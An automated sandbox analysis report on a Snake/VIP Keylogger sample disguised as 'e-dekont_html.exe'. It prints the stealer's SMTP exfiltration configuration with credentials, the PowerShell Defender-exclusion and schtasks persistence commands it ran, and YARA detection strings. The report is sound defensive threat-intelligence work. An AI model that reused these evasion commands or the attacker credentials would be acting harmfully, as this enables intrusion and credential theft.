Edit tour

Windows Analysis Report
e-dekont_html.exe

Overview

General Information

Sample name:	e-dekont_html.exe
Analysis ID:	1559103
MD5:	3c1d34a25a8b8a96896e746f13c346bf
SHA1:	31c17eebffbcb57a3a833c99541748e508d82714
SHA256:	7bd9596f753e58ba917ba418c191af8fcb9b537e73ee6a86989960099585394f
Tags:	exegeoMassLoggerTURuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Contains functionality to capture screen (.Net source)

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

e-dekont_html.exe (PID: 3756 cmdline: "C:\Users\user\Desktop\e-dekont_html.exe" MD5: 3C1D34A25A8B8A96896E746F13C346BF)

powershell.exe (PID: 6500 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4144 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fahKSvwo.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7508 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7044 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

e-dekont_html.exe (PID: 7308 cmdline: "C:\Users\user\Desktop\e-dekont_html.exe" MD5: 3C1D34A25A8B8A96896E746F13C346BF)

fahKSvwo.exe (PID: 7432 cmdline: C:\Users\user\AppData\Roaming\fahKSvwo.exe MD5: 3C1D34A25A8B8A96896E746F13C346BF)

schtasks.exe (PID: 7600 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp8A49.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fahKSvwo.exe (PID: 7696 cmdline: "C:\Users\user\AppData\Roaming\fahKSvwo.exe" MD5: 3C1D34A25A8B8A96896E746F13C346BF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "royallog@tonicables.top", "Password": "7213575aceACE@@ ", "Host": "mail.tonicables.top", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "royallog@tonicables.top", "Password": "7213575aceACE@@ ", "Host": "mail.tonicables.top", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1aa0:$a1: get_encryptedPassword 0x2028:$a2: get_encryptedUsername 0x1713:$a3: get_timePasswordChanged 0x182a:$a4: get_passwordField 0x1ab6:$a5: set_encryptedPassword 0x47d2:$a6: get_passwords 0x4b66:$a7: get_logins 0x47be:$a8: GetOutlookPasswords 0x4177:$a9: StartKeylogger 0x4abf:$a10: KeyLoggerEventArgs 0x4217:$a11: KeyLoggerEventArgsEventHandler
00000008.00000002.4161363308.0000000002E99000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4158045385.000000000043D000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xc03f0:$a1: get_encryptedPassword 0x103410:$a1: get_encryptedPassword 0x146230:$a1: get_encryptedPassword 0xc0978:$a2: get_encryptedUsername 0x103998:$a2: get_encryptedUsername 0x1467b8:$a2: get_encryptedUsername 0xc0063:$a3: get_timePasswordChanged 0x103083:$a3: get_timePasswordChanged 0x145ea3:$a3: get_timePasswordChanged 0xc017a:$a4: get_passwordField 0x10319a:$a4: get_passwordField 0x145fba:$a4: get_passwordField 0xc0406:$a5: set_encryptedPassword 0x103426:$a5: set_encryptedPassword 0x146246:$a5: set_encryptedPassword 0xc3122:$a6: get_passwords 0x106142:$a6: get_passwords 0x148f62:$a6: get_passwords 0xc34b6:$a7: get_logins 0x1064d6:$a7: get_logins 0x1492f6:$a7: get_logins
Process Memory Space: e-dekont_html.exe PID: 3756	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e-dekont_html.exe PID: 3756	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: e-dekont_html.exe PID: 3756	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: e-dekont_html.exe PID: 3756	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: e-dekont_html.exe PID: 3756	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xc288c:$a1: get_encryptedPassword 0xc2e0a:$a2: get_encryptedUsername 0xc250e:$a3: get_timePasswordChanged 0xc2625:$a4: get_passwordField 0xc28a2:$a5: set_encryptedPassword 0xc5566:$a6: get_passwords 0xc58f6:$a7: get_logins 0xc5552:$a8: GetOutlookPasswords 0xc4f0b:$a9: StartKeylogger 0xc584f:$a10: KeyLoggerEventArgs 0xc4fab:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: e-dekont_html.exe PID: 7308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e-dekont_html.exe PID: 7308	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: e-dekont_html.exe PID: 7308	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: e-dekont_html.exe PID: 7308	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xabdb:$a1: get_encryptedPassword 0xb159:$a2: get_encryptedUsername 0xa85d:$a3: get_timePasswordChanged 0xa974:$a4: get_passwordField 0xabf1:$a5: set_encryptedPassword 0xd8b5:$a6: get_passwords 0xdc45:$a7: get_logins 0xd8a1:$a8: GetOutlookPasswords 0xd25a:$a9: StartKeylogger 0xdb9e:$a10: KeyLoggerEventArgs 0xd2fa:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: fahKSvwo.exe PID: 7432	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: fahKSvwo.exe PID: 7696	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: fahKSvwo.exe PID: 7696	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.e-dekont_html.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
8.2.e-dekont_html.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
8.2.e-dekont_html.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x30d66:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
8.2.e-dekont_html.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x2f06b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x2f080:$s4: _hook
0.2.e-dekont_html.exe.3cdb750.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.e-dekont_html.exe.3cdb750.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.e-dekont_html.exe.3cdb750.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.e-dekont_html.exe.3d1e770.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.e-dekont_html.exe.3d1e770.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.e-dekont_html.exe.3d1e770.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.e-dekont_html.exe.3d1e770.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
0.2.e-dekont_html.exe.3d1e770.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x394ae:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b51:$a3: \Google\Chrome\User Data\Default\Login Data 0x38dae:$a4: \Orbitum\User Data\Default\Login Data 0x3978d:$a5: \Kometa\User Data\Default\Login Data
0.2.e-dekont_html.exe.3d1e770.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
0.2.e-dekont_html.exe.3cdb750.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
0.2.e-dekont_html.exe.3cdb750.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x394ae:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b51:$a3: \Google\Chrome\User Data\Default\Login Data 0x38dae:$a4: \Orbitum\User Data\Default\Login Data 0x3978d:$a5: \Kometa\User Data\Default\Login Data
0.2.e-dekont_html.exe.3cdb750.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
0.2.e-dekont_html.exe.3d1e770.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.e-dekont_html.exe.3d1e770.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.e-dekont_html.exe.3d1e770.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.e-dekont_html.exe.3d1e770.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.e-dekont_html.exe.3d1e770.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x70ac0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x71048:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x70733:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x7084a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x70ad6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x737f2:$a6: get_passwords 0x30d66:$a7: get_logins 0x73b86:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x737de:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x73197:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x73adf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
0.2.e-dekont_html.exe.3d1e770.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x71e84:$s1: UnHook 0x2f06b:$s2: SetHook 0x71e8b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x71e93:$s3: CallNextHook 0x2f080:$s4: _hook 0x71ea0:$s4: _hook
0.2.e-dekont_html.exe.3cdb750.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.e-dekont_html.exe.3cdb750.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.e-dekont_html.exe.3cdb750.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.e-dekont_html.exe.3cdb750.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.e-dekont_html.exe.3cdb750.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x70cc0:$a1: get_encryptedPassword 0xb3ae0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x71248:$a2: get_encryptedUsername 0xb4068:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x70933:$a3: get_timePasswordChanged 0xb3753:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x70a4a:$a4: get_passwordField 0xb386a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x70cd6:$a5: set_encryptedPassword 0xb3af6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x739f2:$a6: get_passwords 0xb6812:$a6: get_passwords 0x30d66:$a7: get_logins 0x73d86:$a7: get_logins 0xb6ba6:$a7: get_logins
0.2.e-dekont_html.exe.3cdb750.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x72084:$s1: UnHook 0xb4ea4:$s1: UnHook 0x2f06b:$s2: SetHook 0x7208b:$s2: SetHook 0xb4eab:$s2: SetHook 0x2f073:$s3: CallNextHook 0x72093:$s3: CallNextHook 0xb4eb3:$s3: CallNextHook 0x2f080:$s4: _hook 0x720a0:$s4: _hook 0xb4ec0:$s4: _hook
Click to see the 23 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\e-dekont_html.exe", ParentImage: C:\Users\user\Desktop\e-dekont_html.exe, ParentProcessId: 3756, ParentProcessName: e-dekont_html.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe", ProcessId: 6500, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp8A49.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp8A49.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\fahKSvwo.exe, ParentImage: C:\Users\user\AppData\Roaming\fahKSvwo.exe, ParentProcessId: 7432, ParentProcessName: fahKSvwo.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp8A49.tmp", ProcessId: 7600, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\e-dekont_html.exe", ParentImage: C:\Users\user\Desktop\e-dekont_html.exe, ParentProcessId: 3756, ParentProcessName: e-dekont_html.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp", ProcessId: 7044, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\e-dekont_html.exe", ParentImage: C:\Users\user\Desktop\e-dekont_html.exe, ParentProcessId: 3756, ParentProcessName: e-dekont_html.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe", ProcessId: 6500, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\e-dekont_html.exe", ParentImage: C:\Users\user\Desktop\e-dekont_html.exe, ParentProcessId: 3756, ParentProcessName: e-dekont_html.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp", ProcessId: 7044, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:52:14.228878+0100	2803305	3	Unknown Traffic	192.168.2.4	49737	188.114.97.3	443	TCP
2024-11-20T07:52:15.513508+0100	2803305	3	Unknown Traffic	192.168.2.4	49739	188.114.97.3	443	TCP
2024-11-20T07:52:19.513508+0100	2803305	3	Unknown Traffic	192.168.2.4	49745	188.114.97.3	443	TCP
2024-11-20T07:52:20.075811+0100	2803305	3	Unknown Traffic	192.168.2.4	49746	188.114.97.3	443	TCP
2024-11-20T07:52:21.872740+0100	2803305	3	Unknown Traffic	192.168.2.4	49752	188.114.96.3	443	TCP
2024-11-20T07:52:23.778611+0100	2803305	3	Unknown Traffic	192.168.2.4	49759	188.114.96.3	443	TCP
2024-11-20T07:52:24.029099+0100	2803305	3	Unknown Traffic	192.168.2.4	49760	188.114.96.3	443	TCP
2024-11-20T07:52:26.148930+0100	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	443	TCP
2024-11-20T07:52:27.582198+0100	2803305	3	Unknown Traffic	192.168.2.4	61283	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T07:52:12.696787+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	193.122.130.0	80	TCP
2024-11-20T07:52:13.697027+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	193.122.130.0	80	TCP
2024-11-20T07:52:15.024961+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	193.122.130.0	80	TCP
2024-11-20T07:52:18.243695+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49741	193.122.130.0	80	TCP
2024-11-20T07:52:19.462372+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49741	193.122.130.0	80	TCP
2024-11-20T07:52:20.634261+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49749	193.122.130.0	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "royallog@tonicables.top", "Password": "7213575aceACE@@ ", "Host": "mail.tonicables.top", "Port": "587", "Version": "4.4"}
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "royallog@tonicables.top", "Password": "7213575aceACE@@ ", "Host": "mail.tonicables.top", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Virustotal: Detection: 67%			Perma Link

Multi AV Scanner detection for submitted file

Source: e-dekont_html.exe	ReversingLabs: Detection: 63%
Source: e-dekont_html.exe	Virustotal: Detection: 67%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: e-dekont_html.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: e-dekont_html.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:61282 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:61290 version: TLS 1.2

Source: e-dekont_html.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: bbvK.pdbSHA256 source: e-dekont_html.exe, fahKSvwo.exe.0.dr
Source:	Binary string: bbvK.pdb source: e-dekont_html.exe, fahKSvwo.exe.0.dr

Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 4x nop then jmp 076B51BCh	0_2_076B4965
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 4x nop then jmp 02BEF8E9h	8_2_02BEF631
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 4x nop then jmp 02BEFD41h	8_2_02BEFA88
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 4x nop then jmp 07254434h	9_2_07253BDD
